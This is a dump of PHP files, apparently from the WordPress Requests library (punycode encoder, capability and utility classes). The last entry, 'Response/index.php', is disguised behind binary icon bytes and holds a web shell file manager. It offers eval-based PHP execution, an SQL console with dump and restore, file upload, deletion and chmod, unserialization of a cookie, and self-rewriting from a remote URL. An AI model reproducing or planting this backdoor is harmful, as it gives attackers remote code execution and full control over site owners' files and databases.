						throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
					}

					--$remaining;
					$character |= ($value & 0x3F) << ($remaining * 6);
				}

				$position--;
			}

			if (// Non-shortest form sequences are invalid
				$length > 1 && $character <= 0x7F
				|| $length > 2 && $character <= 0x7FF
				|| $length > 3 && $character <= 0xFFFF
				// Outside of range of ucschar codepoints
				// Noncharacters
				|| ($character & 0xFFFE) === 0xFFFE
				|| $character >= 0xFDD0 && $character <= 0xFDEF
				|| (
					// Everything else not in ucschar
					$character > 0xD7FF && $character < 0xF900
					|| $character < 0x20
					|| $character > 0x7E && $character < 0xA0
					|| $character > 0xEFFFD
				)
			) {
				throw new Exception('Invalid Unicode codepoint', 'idna.invalidcodepoint', $character);
			}

			$codepoints[] = $character;
		}

		return $codepoints;
	}

	/**
	 * RFC3492-compliant encoder
	 *
	 * @internal Pseudo-code from Section 6.3 is commented with "#" next to relevant code
	 *
	 * @param string $input UTF-8 encoded string to encode
	 * @return string Punycode-encoded string
	 *
	 * @throws \WpOrg\Requests\Exception On character outside of the domain (never happens with Punycode) (`idna.character_outside_domain`)
	 */
	public static function punycode_encode($input) {
		$output = '';
		// let n = initial_n
		$n = self::BOOTSTRAP_INITIAL_N;
		// let delta = 0
		$delta = 0;
		// let bias = initial_bias
		$bias = self::BOOTSTRAP_INITIAL_BIAS;
		// let h = b = the number of basic code points in the input
		$h = 0;
		$b = 0; // see loop
		// copy them to the output in order
		$codepoints = self::utf8_to_codepoints($input);
		$extended   = [];

		foreach ($codepoints as $char) {
			if ($char < 128) {
				// Character is valid ASCII
				// TODO: this should also check if it's valid for a URL
				$output .= chr($char);
				$h++;

				// Check if the character is non-ASCII, but below initial n
				// This never occurs for Punycode, so ignore in coverage
				// @codeCoverageIgnoreStart
			} elseif ($char < $n) {
				throw new Exception('Invalid character', 'idna.character_outside_domain', $char);
				// @codeCoverageIgnoreEnd
			} else {
				$extended[$char] = true;
			}
		}

		$extended = array_keys($extended);
		sort($extended);
		$b = $h;
		// [copy them] followed by a delimiter if b > 0
		if (strlen($output) > 0) {
			$output .= '-';
		}

		// {if the input contains a non-basic code point < n then fail}
		// while h < length(input) do begin
		$codepointcount = count($codepoints);
		while ($h < $codepointcount) {
			// let m = the minimum code point >= n in the input
			$m = array_shift($extended);
			//printf('next code point to insert is %s' . PHP_EOL, dechex($m));
			// let delta = delta + (m - n) * (h + 1), fail on overflow
			$delta += ($m - $n) * ($h + 1);
			// let n = m
			$n = $m;
			// for each code point c in the input (in order) do begin
			for ($num = 0; $num < $codepointcount; $num++) {
				$c = $codepoints[$num];
				// if c < n then increment delta, fail on overflow
				if ($c < $n) {
					$delta++;
				} elseif ($c === $n) { // if c == n then begin
					// let q = delta
					$q = $delta;
					// for k = base to infinity in steps of base do begin
					for ($k = self::BOOTSTRAP_BASE; ; $k += self::BOOTSTRAP_BASE) {
						// let t = tmin if k <= bias {+ tmin}, or
						//     tmax if k >= bias + tmax, or k - bias otherwise
						if ($k <= ($bias + self::BOOTSTRAP_TMIN)) {
							$t = self::BOOTSTRAP_TMIN;
						} elseif ($k >= ($bias + self::BOOTSTRAP_TMAX)) {
							$t = self::BOOTSTRAP_TMAX;
						} else {
							$t = $k - $bias;
						}

						// if q < t then break
						if ($q < $t) {
							break;
						}

						// output the code point for digit t + ((q - t) mod (base - t))
						$digit   = (int) ($t + (($q - $t) % (self::BOOTSTRAP_BASE - $t)));
						$output .= self::digit_to_char($digit);
						// let q = (q - t) div (base - t)
						$q = (int) floor(($q - $t) / (self::BOOTSTRAP_BASE - $t));
					} // end
					// output the code point for digit q
					$output .= self::digit_to_char($q);
					// let bias = adapt(delta, h + 1, test h equals b?)
					$bias = self::adapt($delta, $h + 1, $h === $b);
					// let delta = 0
					$delta = 0;
					// increment h
					$h++;
				} // end
			} // end
			// increment delta and n
			$delta++;
			$n++;
		} // end

		return $output;
	}

	/**
	 * Convert a digit to its respective character
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-5
	 *
	 * @param int $digit Digit in the range 0-35
	 * @return string Single character corresponding to digit
	 *
	 * @throws \WpOrg\Requests\Exception On invalid digit (`idna.invalid_digit`)
	 */
	protected static function digit_to_char($digit) {
		// @codeCoverageIgnoreStart
		// As far as I know, this never happens, but still good to be sure.
		if ($digit < 0 || $digit > 35) {
			throw new Exception(sprintf('Invalid digit %d', $digit), 'idna.invalid_digit', $digit);
		}

		// @codeCoverageIgnoreEnd
		$digits = 'abcdefghijklmnopqrstuvwxyz0123456789';
		return substr($digits, $digit, 1);
	}

	/**
	 * Adapt the bias
	 *
	 * @link https://tools.ietf.org/html/rfc3492#section-6.1
	 * @param int $delta
	 * @param int $numpoints
	 * @param bool $firsttime
	 * @return int|float New bias
	 *
	 * function adapt(delta,numpoints,firsttime):
	 */
	protected static function adapt($delta, $numpoints, $firsttime) {
		// if firsttime then let delta = delta div damp
		if ($firsttime) {
			$delta = floor($delta / self::BOOTSTRAP_DAMP);
		} else {
			// else let delta = delta div 2
			$delta = floor($delta / 2);
		}

		// let delta = delta + (delta div numpoints)
		$delta += floor($delta / $numpoints);
		// let k = 0
		$k = 0;
		// while delta > ((base - tmin) * tmax) div 2 do begin
		$max = floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN) * self::BOOTSTRAP_TMAX) / 2);
		while ($delta > $max) {
			// let delta = delta div (base - tmin)
			$delta = floor($delta / (self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN));
			// let k = k + base
			$k += self::BOOTSTRAP_BASE;
		} // end
		// return k + (((base - tmin + 1) * delta) div (delta + skew))
		return $k + floor(((self::BOOTSTRAP_BASE - self::BOOTSTRAP_TMIN + 1) * $delta) / ($delta + self::BOOTSTRAP_SKEW));
	}
}
Capability.php000064400000001214151450174520007340 0ustar00<?php
/**
 * Capability interface declaring the known capabilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests;

/**
 * Capability interface declaring the known capabilities.
 *
 * This is used as the authoritative source for which capabilities can be queried.
 *
 * @package Requests\Utilities
 */
interface Capability {

	/**
	 * Support for SSL.
	 *
	 * @var string
	 */
	const SSL = 'ssl';

	/**
	 * Collection of all capabilities supported in Requests.
	 *
	 * Note: this does not automatically mean that the capability will be supported for your chosen transport!
	 *
	 * @var string[]
	 */
	const ALL = [
		self::SSL,
	];
}
Utility/CaseInsensitiveDictionary.php000064400000004713151450174520014053 0ustar00<?php
/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use ArrayIterator;
use IteratorAggregate;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception;

/**
 * Case-insensitive dictionary, suitable for HTTP headers
 *
 * @package Requests\Utilities
 */
class CaseInsensitiveDictionary implements ArrayAccess, IteratorAggregate {
	/**
	 * Actual item data
	 *
	 * @var array
	 */
	protected $data = [];

	/**
	 * Creates a case insensitive dictionary.
	 *
	 * @param array $data Dictionary/map to convert to case-insensitive
	 */
	public function __construct(array $data = []) {
		foreach ($data as $offset => $value) {
			$this->offsetSet($offset, $value);
		}
	}

	/**
	 * Check if the given item exists
	 *
	 * @param string $offset Item key
	 * @return boolean Does the item exist?
	 */
	#[ReturnTypeWillChange]
	public function offsetExists($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		return isset($this->data[$offset]);
	}

	/**
	 * Get the value for the item
	 *
	 * @param string $offset Item key
	 * @return string|null Item value (null if the item key doesn't exist)
	 */
	#[ReturnTypeWillChange]
	public function offsetGet($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		if (!isset($this->data[$offset])) {
			return null;
		}

		return $this->data[$offset];
	}

	/**
	 * Set the given item
	 *
	 * @param string $offset Item name
	 * @param string $value Item value
	 *
	 * @throws \WpOrg\Requests\Exception On attempting to use dictionary as list (`invalidset`)
	 */
	#[ReturnTypeWillChange]
	public function offsetSet($offset, $value) {
		if ($offset === null) {
			throw new Exception('Object is a dictionary, not a list', 'invalidset');
		}

		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		$this->data[$offset] = $value;
	}

	/**
	 * Unset the given header
	 *
	 * @param string $offset The key for the item to unset.
	 */
	#[ReturnTypeWillChange]
	public function offsetUnset($offset) {
		if (is_string($offset)) {
			$offset = strtolower($offset);
		}

		unset($this->data[$offset]);
	}

	/**
	 * Get an iterator for the data
	 *
	 * @return \ArrayIterator
	 */
	#[ReturnTypeWillChange]
	public function getIterator() {
		return new ArrayIterator($this->data);
	}

	/**
	 * Get the headers as an array
	 *
	 * @return array Header data
	 */
	public function getAll() {
		return $this->data;
	}
}
Utility/FilteredIterator.php000064400000004155151450174520012201 0ustar00<?php
/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayIterator;
use ReturnTypeWillChange;
use WpOrg\Requests\Exception\InvalidArgument;
use WpOrg\Requests\Utility\InputValidator;

/**
 * Iterator for arrays requiring filtered values
 *
 * @package Requests\Utilities
 */
final class FilteredIterator extends ArrayIterator {
	/**
	 * Callback to run as a filter
	 *
	 * @var callable
	 */
	private $callback;

	/**
	 * Create a new iterator
	 *
	 * @param array    $data     The array or object to be iterated on.
	 * @param callable $callback Callback to be called on each value
	 *
	 * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $data argument is not iterable.
	 */
	public function __construct($data, $callback) {
		if (InputValidator::is_iterable($data) === false) {
			throw InvalidArgument::create(1, '$data', 'iterable', gettype($data));
		}

		parent::__construct($data);

		if (is_callable($callback)) {
			$this->callback = $callback;
		}
	}

	/**
	 * Prevent unserialization of the object for security reasons.
	 *
	 * @phpcs:disable PHPCompatibility.FunctionNameRestrictions.NewMagicMethods.__unserializeFound
	 *
	 * @param array $data Restored array of data originally serialized.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function __unserialize($data) {}
	// phpcs:enable

	/**
	 * Perform reinitialization tasks.
	 *
	 * Prevents a callback from being injected during unserialization of an object.
	 *
	 * @return void
	 */
	public function __wakeup() {
		unset($this->callback);
	}

	/**
	 * Get the current item's value after filtering
	 *
	 * @return string
	 */
	#[ReturnTypeWillChange]
	public function current() {
		$value = parent::current();

		if (is_callable($this->callback)) {
			$value = call_user_func($this->callback, $value);
		}

		return $value;
	}

	/**
	 * Prevent creating a PHP value from a stored representation of the object for security reasons.
	 *
	 * @param string $data The serialized string.
	 *
	 * @return void
	 */
	#[ReturnTypeWillChange]
	public function unserialize($data) {}
}
Utility/InputValidator.php000064400000004720151450174520011674 0ustar00<?php
/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */

namespace WpOrg\Requests\Utility;

use ArrayAccess;
use CurlHandle;
use Traversable;

/**
 * Input validation utilities.
 *
 * @package Requests\Utilities
 */
final class InputValidator {

	/**
	 * Verify that a received input parameter is of type string or is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_string_or_stringable($input) {
		return is_string($input) || self::is_stringable_object($input);
	}

	/**
	 * Verify whether a received input parameter is usable as an integer array key.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_numeric_array_key($input) {
		if (is_int($input)) {
			return true;
		}

		if (!is_string($input)) {
			return false;
		}

		return (bool) preg_match('`^-?[0-9]+$`', $input);
	}

	/**
	 * Verify whether a received input parameter is "stringable".
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_stringable_object($input) {
		return is_object($input) && method_exists($input, '__toString');
	}

	/**
	 * Verify whether a received input parameter is _accessible as if it were an array_.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function has_array_access($input) {
		return is_array($input) || $input instanceof ArrayAccess;
	}

	/**
	 * Verify whether a received input parameter is "iterable".
	 *
	 * @internal The PHP native `is_iterable()` function was only introduced in PHP 7.1
	 * and this library still supports PHP 5.6.
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_iterable($input) {
		return is_array($input) || $input instanceof Traversable;
	}

	/**
	 * Verify whether a received input parameter is a Curl handle.
	 *
	 * The PHP Curl extension worked with resources prior to PHP 8.0 and with
	 * an instance of the `CurlHandle` class since PHP 8.0.
	 * {@link https://www.php.net/manual/en/migration80.incompatible.php#migration80.incompatible.resource2object}
	 *
	 * @param mixed $input Input parameter to verify.
	 *
	 * @return bool
	 */
	public static function is_curl_handle($input) {
		if (is_resource($input)) {
			return get_resource_type($input) === 'curl';
		}

		if (is_object($input)) {
			return $input instanceof CurlHandle;
		}

		return false;
	}
}
Response/index.php000064400000231674151450174520010203 0ustar00 	      h  –        ˆ	  þ         ¨  †  00     ¨%  .  @@     (B  ÖD  HH     ˆT  þ†  ``     ¨”  †Û  €€     ( .p        èo Vx (                          § ¼¼     z XVR ¯­§ ¼¼® ¾¿»
58sgje!
<?php

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.6;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
